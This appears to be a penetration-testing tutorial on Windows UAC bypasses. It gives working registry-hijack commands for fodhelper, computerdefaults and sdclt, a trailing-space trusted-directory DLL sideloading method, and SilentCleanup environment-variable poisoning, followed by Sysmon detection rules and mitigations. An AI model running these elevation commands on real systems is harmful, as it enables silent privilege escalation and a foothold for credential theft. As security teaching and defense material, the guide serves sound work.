Windows UAC Bypass Techniques: Fodhelper, Auto-Elevate, and Registry Hijacks

User Account Control (UAC) is not, and has never been, a security boundary. Microsoft has stated this repeatedly: it is a convenience feature that nudges a logged-in administrator toward running most of their day-to-day work with a filtered (medium-integrity) token, while keeping the full (high-integrity) token a click away. For a pentester who has already landed code execution as a member of the local Administrators group, UAC is the last speed bump before you can write to protected paths, load drivers, dump LSASS, or install persistence. Bypassing it means getting from medium integrity to high integrity without ever showing the user a consent prompt.

This guide covers the mechanics that make UAC bypasses possible — auto-elevating binaries and the autoElevate manifest flag — and walks through the registry-hijack family (fodhelper, computerdefaults, sdclt), DLL sideloading, the trusted-directory trick, and what defenders should actually look for. Everything here assumes an authorized engagement on a host you have written permission to test. The goal is to demonstrate impact and give the blue team concrete detection logic, not to hand out a smash-and-grab kit.

The Mechanics: Why Auto-Elevation Exists

When an administrator logs in, Windows creates two tokens for them: a full token and a filtered token. Almost everything runs with the filtered token. Certain Microsoft-signed binaries, however, are allowed to silently jump to the full token without a prompt. Three conditions have to line up:

• The executable's embedded manifest sets autoElevate to true.
• The binary is signed by Microsoft and located in a trusted directory — primarily C:\Windows\System32 (and a short allowlist of subfolders).
• The current UAC level is the default ("Notify me only when apps try to make changes"), not "Always notify".

You can confirm which system binaries auto-elevate by extracting their manifest with sigcheck and grepping for the flag:

# Enumerate auto-elevating binaries with Sysinternals sigcheck
sigcheck.exe -m C:\Windows\System32\fodhelper.exe | findstr /i autoElevate

# Bulk-scan System32 for the flag (PowerShell, slower but thorough)
Get-ChildItem C:\Windows\System32\*.exe | ForEach-Object {
  if ((Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue) -match 'autoElevate.*true') { $_.Name }
}

The trick every registry-based bypass exploits is this: many auto-elevating binaries, while running high-integrity, read configuration from HKEY_CURRENT_USER (HKCU) — a hive a medium-integrity process can write to freely. If you can plant a command in a registry key that a high-integrity process later reads and executes, your command inherits high integrity. No consent prompt, no exploit, just trusted code doing what it was told.

Fodhelper: The Canonical Registry Hijack

fodhelper.exe (the "Manage optional features" Settings handler) auto-elevates and, when launched, opens the ms-settings: protocol. Windows resolves that protocol handler through HKCU first. By creating the handler key with an empty DelegateExecute value and pointing the default value at your payload, fodhelper runs your command as high integrity.

:: Plant the hijack in HKCU (medium integrity can do this)
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "cmd.exe /c whoami > C:\Users\Public\proof.txt & whoami /groups" /f

:: Trigger the auto-elevating binary
start fodhelper.exe

:: Clean up so you don't break the user's Settings app
reg delete "HKCU\Software\Classes\ms-settings" /f

The DelegateExecute value is essential. Without it, the shell tries the DelegateExecute COM path, finds nothing usable, and falls back to a different resolution that ignores your command. Setting it to an empty string forces the classic command-string path. Check whoami /groups afterward — you want to see Mandatory Label\High Mandatory Level instead of Medium.

Variants: computerdefaults and sdclt

Fodhelper is heavily signatured, so the same class of bug in other binaries is worth knowing. computerdefaults.exe uses the identical ms-settings handler path, so the fodhelper registry layout works verbatim — only the triggered binary changes:

:: Same ms-settings hijack, different trigger
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "C:\Windows\System32\cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
start computerdefaults.exe

sdclt.exe (Backup and Restore) is an older but reliable variant that resolves a different protocol. Depending on the Windows build it reads either the App Paths key or the exefile / Folder shell command. The App Paths approach is clean on Windows 10:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /ve /d "C:\Users\Public\payload.exe" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /v "DelegateExecute" /t REG_SZ /d "" /f
start sdclt.exe
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f

When you are building these by hand on an engagement, it helps to have the full command-and-cleanup sequences templated rather than retyping registry paths from memory — our privilege escalation payload generator produces ready-to-paste variants for each technique with the cleanup steps included.

DLL Sideloading and the Trusted-Directory Trick

Registry hijacks are the loudest part of the UAC story. A quieter family abuses how auto-elevating binaries locate the DLLs they import. Several System32 binaries load a DLL by name without a fully qualified path; if you can place a malicious copy earlier in the search order, the high-integrity process loads your code.

The complication is that you usually cannot write to System32 as medium integrity. This is where the "mock trusted directory" technique comes in. UAC's trusted-path check tolerates a directory whose name contains a trailing space — for example C:\Windows \System32\ (note the space after Windows). The Win32 API silently strips the trailing space when resolving the path, but the integrity check compares the string literally and is fooled into treating your fake folder as trusted.

# Create the fake "C:\Windows " directory (trailing space) via the \\?\ device path
md "\\?\C:\Windows \System32"
copy C:\Windows\System32\target_autoelevate.exe "\\?\C:\Windows \System32\"
copy evil.dll "\\?\C:\Windows \System32\hijacked.dll"

# Launch the relocated binary from the trusted-looking path
"C:\Windows \System32\target_autoelevate.exe"

Because the copied binary is still Microsoft-signed and now appears to live in a "trusted" directory, it auto-elevates and loads your hijacked.dll at high integrity. The same trailing-space trick has been combined with IFileOperation COM proxying (used by the original UACMe project) to write into the real System32 without a prompt. Treat these as higher-skill, lower-noise options when registry artifacts are too risky.

Environment-Variable and Scheduled-Task Angles

A few auto-elevating paths read environment variables that a medium-integrity user can poison. The classic is DiskCleanup: a scheduled task (\Microsoft\Windows\DiskCleanup\SilentCleanup) runs with highest privileges and expands %windir% from the user environment. Overwriting that variable in HKCU and triggering the task yields elevated execution:

reg add "HKCU\Environment" /v windir /t REG_SZ /d "cmd /c start C:\Users\Public\payload.exe &REM " /f
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I
:: Wait for the task, then remove the poisoned variable
reg delete "HKCU\Environment" /v windir /f

The trailing &REM comments out the rest of the legitimate command line so your payload runs cleanly. This one is patched on current builds but still appears on under-maintained estates, which is exactly the kind of host an internal pentest is meant to surface.

Detection: What the Blue Team Should Hunt

Every technique above leaves a recognizable trail. The most reliable signal is a process-parent anomaly: an auto-elevating binary spawning a shell or scripting host. fodhelper, computerdefaults, or sdclt should essentially never be the parent of cmd.exe, powershell.exe, rundll32.exe, or wscript.exe.

• Sysmon Event ID 1 (process create): alert where ParentImage ends in fodhelper.exe, computerdefaults.exe, or sdclt.exe and the child is an interpreter.
• Sysmon Event ID 13 (registry value set): alert on writes to HKCU\...\Classes\ms-settings\Shell\Open\command and to the App Paths\control.exe default value.
• Integrity-level jumps: a process created at High integrity whose parent chain traces back to a Medium-integrity user shell.
• Path anomalies: any file path containing a trailing space before a backslash, or any binary executing from C:\Windows \.
• Token manipulation post-bypass: watch for LSASS access right after elevation — credential theft is the usual next move. Our mimikatz cheat sheet covers the dump commands a high-integrity process typically runs next, which doubles as a list of follow-on behaviors to detect.

Mitigation and Defenses

Because UAC is not a boundary, the durable defenses are organizational rather than a single setting:

• Stop logging in as a local administrator. The entire bypass class requires Administrators-group membership. Standard users cannot elevate via these tricks at all. Enforce least privilege and remove standing local-admin rights with LAPS-managed accounts used only when needed.
• Set UAC to "Always notify." This ConsentPromptBehaviorAdmin = 2 setting forces a prompt even for auto-elevating binaries, breaking the silent registry hijacks. It is the single most effective registry change.
• Enable EDR/Sysmon with the rules above and treat any auto-elevate-to-shell event as a high-severity alert, not informational noise.
• Apply WDAC or AppLocker to constrain which binaries can load unsigned DLLs, neutralizing most sideloading variants.
• Keep patched. Microsoft quietly fixes individual auto-elevating binaries; the DiskCleanup and several sdclt paths are already dead on current builds.

For testers, the takeaway is to demonstrate the medium-to-high jump cleanly, capture the integrity-level proof, and hand the defenders the exact Sysmon and registry artifacts your technique produced. If you are building out the broader local-escalation portion of an engagement, the Windows privilege escalation cheat sheet maps how UAC bypass fits alongside service misconfigurations, unquoted paths, and token impersonation so your report tells one coherent story instead of a pile of isolated tricks.